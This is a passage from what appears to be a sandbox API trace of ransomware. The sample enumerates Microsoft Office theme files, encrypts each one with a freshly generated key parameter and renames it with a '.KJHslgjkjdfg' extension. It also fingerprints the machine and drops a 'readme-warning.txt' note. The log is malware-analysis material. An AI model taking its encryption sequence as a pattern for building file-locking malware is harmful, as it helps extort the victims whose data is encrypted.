hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0175.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.142] GetProcessHeap () returned 0x990000 [0175.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.142] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.142] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.142] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0175.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.145] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.145] GetProcessHeap () returned 0x990000 [0175.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.145] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.145] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.145] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.145] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.145] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.145] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.146] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.146] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.146] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x54f1, lpOverlapped=0x0) returned 1 [0175.147] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5500, dwBufLen=0x5500 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5500) returned 1 [0175.147] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.147] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5500, lpOverlapped=0x0) returned 1 [0175.148] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x55d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.148] SetEndOfFile (hFile=0x12c) returned 1 [0175.151] GetProcessHeap () returned 0x990000 [0175.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.151] GetProcessHeap () returned 0x990000 [0175.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0175.154] CloseHandle (hObject=0x12c) returned 1 [0175.154] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0175.154] GetProcessHeap () returned 0x990000 [0175.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.154] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0175.154] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.154] GetProcessHeap () returned 0x990000 [0175.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0175.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.154] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0175.154] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.154] GetProcessHeap () returned 0x990000 [0175.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0175.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.154] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0175.155] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.155] GetProcessHeap () returned 0x990000 [0175.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0175.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.155] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0175.155] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.155] GetProcessHeap () returned 0x990000 [0175.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.155] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0175.155] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.155] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0175.155] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0175.155] RegCloseKey (hKey=0x12c) returned 0x0 [0175.155] GetProcessHeap () returned 0x990000 [0175.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0175.155] GetProcessHeap () returned 0x990000 [0175.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.155] GetProcessHeap () returned 0x990000 [0175.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.155] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0175.155] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.156] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0175.156] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.156] GetProcessHeap () returned 0x990000 [0175.156] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.156] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0175.156] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0175.156] GetProcessHeap () returned 0x990000 [0175.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0175.156] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt") returned 80 [0175.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.157] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0175.158] CloseHandle (hObject=0x12c) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.158] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0175.158] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0175.158] GetProcessHeap () returned 0x990000 [0175.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0175.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0175.159] GetProcessHeap () returned 0x990000 [0175.159] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0175.159] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0175.159] GetProcessHeap () returned 0x990000 [0175.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0175.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.160] GetProcessHeap () returned 0x990000 [0175.160] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.160] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.160] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.161] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0175.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.170] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.170] GetProcessHeap () returned 0x990000 [0175.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.170] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.170] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.170] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.170] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.171] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.171] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.171] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.171] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.171] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.171] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.171] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.171] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x53b, lpOverlapped=0x0) returned 1 [0175.171] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x540, dwBufLen=0x540 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x540) returned 1 [0175.171] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.171] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x540, lpOverlapped=0x0) returned 1 [0175.172] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.172] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.172] SetEndOfFile (hFile=0x12c) returned 1 [0175.173] GetProcessHeap () returned 0x990000 [0175.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.173] GetProcessHeap () returned 0x990000 [0175.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.kjhslgjkjdfg")) returned 1 [0175.175] CloseHandle (hObject=0x12c) returned 1 [0175.175] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0175.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.176] GetProcessHeap () returned 0x990000 [0175.176] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.176] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.177] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.177] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0175.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.178] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.178] GetProcessHeap () returned 0x990000 [0175.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.178] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.179] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.179] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.179] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.179] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.179] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.179] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.179] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.179] 